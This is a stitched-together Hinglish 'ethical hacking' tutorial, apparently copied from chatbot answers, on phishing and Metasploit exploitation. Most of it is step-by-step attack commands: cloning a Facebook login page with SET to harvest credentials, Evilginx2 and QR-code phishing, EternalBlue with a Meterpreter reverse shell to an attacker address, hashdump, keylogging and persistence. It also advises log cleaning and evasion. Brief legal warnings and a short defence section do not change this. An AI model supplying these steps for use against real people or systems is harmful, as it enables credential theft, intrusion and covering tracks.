   sudo setoolkit → Option 1 (Social Engineering) → Option 2 (Website Clone)
2. **Send Link**:
   Victim ko fake login page ka link bhejo
3. **Credentials Capture**:
   cat /var/www/html/harvested.txt

Practice Karne Ke Liye:

- TryHackMe "Phishing" room

Social Engineering (Phishing) - Complete Ethical Hacking Guide

Phishing attacks mein hum victims ko trick karke unke sensitive information (jaise login credentials) steal karte hain. Yeh guide sirf educational purposes ke liye hai - legal scenarios mein hi practice karein.

1. Phishing Ke Prakar (Types)

Type	Description	Example
Email Phishing	Fake emails bhejna	"Your account will expire!"
Website Phishing	Duplicate login page banana	Fake Facebook login
Spear Phishing	Specific target ko customize karna	CEO impersonation
Smishing	SMS through phishing	"Click to track package"

2. Step-by-Step Website Phishing

Step 1: Kali Linux Setup

bash

Copy

```
sudo apt update && sudo apt install setoolkit
```

Step 2: Social Engineering Toolkit (SET) Chalana

bash

Copy

```
sudo setoolkit
```

1. **Option 1** (Social Engineering Attacks)
2. **Option 2** (Website Attack Vectors)
3. **Option 3** (Credential Harvester)
4. **Option 2** (Site Cloner)

Step 3: Target Website Clone Karna

Copy

```
Enter URL to clone: https://www.facebook.com
IP address for POST back: [Your_Kali_IP]
```

Step 4: Phishing Link Distribute Karna

- Victim ko bhejein: http://[Your_IP]/ (Facebook jaisa dikhega)
- Ngrok use karke Internet accessible banayein:

bash

Copy

```
ngrok http 80
```

Step 5: Credentials Capture Karna

bash

Copy

```
cat /var/www/html/harvested.txt
```

- Saved credentials /var/www/html mein milegi

---

3. Advanced Techniques

1. Evilginx2 (Modern Phishing)

bash

Copy

```
sudo apt install -y evilginx2

evilginx

> config domain yourdomain.com

> phishlet hostname facebook
```

2. Gophish (Professional Phishing)

bash

Copy

```
wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip

unzip gophish-*.zip

chmod +x gophish

./gophish
```

3. QR Code Phishing

bash

Copy

```
qrencode -t ANSI "http://malicious.link" -o qr.txt
```

- Print karke public places pe chipka dein

---

4. Protection Against Phishing

For Users:

1. **URL Check Karein** (https://example.com vs https://examp1e.com)
2. **Two-Factor Authentication Enable Karein**
3. **Password Managers Use Karein** (Auto-fill phishing sites pe kaam nahi karte)

For Organizations:

1. **Employee Training** (Regular phishing simulations)

2. **Email Filtering** (SPF, DKIM, DMARC setup)
3. **Web Filtering Solutions** (Block known phishing sites)

---

5. Practice Labs

1. **TryHackMe "Phishing" Room**
   https://tryhackme.com/room/phishing
   - Practical email phishing simulation
2. **HackTheBox "Phishing" Challenges**
   https://www.hackthebox.com
   - Real-world phishing scenarios
3. **PentesterLab Phishing Exercises**
   https://pentesterlab.com
   - Web-based phishing techniques

---

6. Legal Warning

❌ **Real targets pe test na karein** (Cybercrime hai)
✅ **Sirf apne banaye labs pe practice karein**
✅ **Written permission ke bina corporate networks pe na chalaen**

Agar koi specific phishing technique janna ho toh pooch sakte hain! 😊

##

---

10. Metasploit (Auto Exploitation)

Kya Karna Hai?
Known exploits use karke system hack karo.

Steps:

1. **Search Exploit**:
   msfconsole → search eternalblue
2. **Set Options**:
   set RHOSTS 192.168.1.1
   set PAYLOAD windows/x64/meterpreter/reverse_tcp

3. **Run Exploit**:
   exploit → Meterpreter session milega

Practice Karne Ke Liye:

- HackTheBox "Blue"
- TryHackMe "Metasploit"

Metasploit Framework - Complete Ethical Hacking Guide

Metasploit penetration testing ka sabse powerful tool hai jo automated exploitation provide karta hai. Aaj hum step-by-step seekhenge kaise iska use kiya jata hai:

---

1. Metasploit Kya Hai?

- **Definition:** Open-source penetration testing framework
- **Developed By:** Rapid7
- **Components:**
  - msfconsole (Main interface)
  - Exploits (4000+)
  - Payloads (Meterpreter most powerful)
  - Auxiliary modules

---

2. Basic Commands Cheatsheet

Command	Description
msfconsole	Framework start karein
search exploit_name	Exploit dhundhne ke liye
use exploit/path	Exploit select karein
show options	Required parameters dekhein
set RHOSTS 10.10.x.x	Target IP set karein

Command	Description
exploit	Attack start karein

3. Practical Attack Scenario (EternalBlue)

Step 1: MSFconsole Start Karein

bash

Copy

sudo msfconsole

Step 2: Exploit Search Karein

msf

Copy

search eternalblue

Step 3: Exploit Select Karein

msf

Copy

use exploit/windows/smb/ms17_010_eternalblue

Step 4: Options Set Karein

msf

Copy

set RHOSTS 192.168.1.100

set PAYLOAD windows/x64/meterpreter/reverse_tcp

set LHOST 192.168.1.50 # Your IP

Step 5: Exploit Run Karein

msf

Copy

exploit

- Successful hone par meterpreter session milega

4. Meterpreter Ke Powerful Commands

Command	Description
sysinfo	System information
getuid	Current user privileges
hashdump	Password hashes dump
screenshot	Victim screen capture
keyscan_start	Keylogger start
shell	System shell open karein

---

5. Post-Exploitation Techniques

1. Persistence Banana

meterpreter

Copy

run persistence -X -i 60 -p 4444 -r 192.168.1.50

- -X: Startup pe execute
- -i: Reconnect interval (seconds)

2. Privilege Escalation

meterpreter

Copy

getsystem

or

meterpreter

Copy

background

use post/multi/recon/local_exploit_suggester

set SESSION 1

run

3. Network Pivot

meterpreter

Copy

run autoroute -s 10.10.10.0/24

---

6. Practice Labs

1. **HackTheBox "Blue" Machine**
    - EternalBlue exploit practice
    - HTB Blue
2. **TryHackMe "Metasploit" Room**
    - Beginner-friendly exercises
    - Metasploit Room
3. **Metasploitable 2 VM**
    - Designed for Metasploit practice
    - Download

---

7. Protection Against Metasploit

For System Admins:

1. **Regular Patching:**

bash

Copy

sudo apt update && sudo apt upgrade -y

2. **Network Segmentation:**

bash

Copy

sudo iptables -A INPUT -p tcp --dport 4444 -j DROP

3. **Endpoint Protection:**
    - Windows Defender/EDR solutions enable karein

8. Professional Tips

✓ **Always update Metasploit:** sudo msfupdate
✓ **Custom payloads generate karein:** msfvenom
✓ **Time-based evasion techniques use karein**
✓ **Always clean logs after testing**

##

Final Tips for Hackathon:

✓ **Sabse pehle recon karo** (Nmap, Dirb, Google Dorking)
✓ **Easy vulnerabilities pe focus karo** (SQLi, XSS, LFI)
✓ **Flags submit karne ka last time yaad rakhna**
✓ **Rules follow karna (No cheating!)**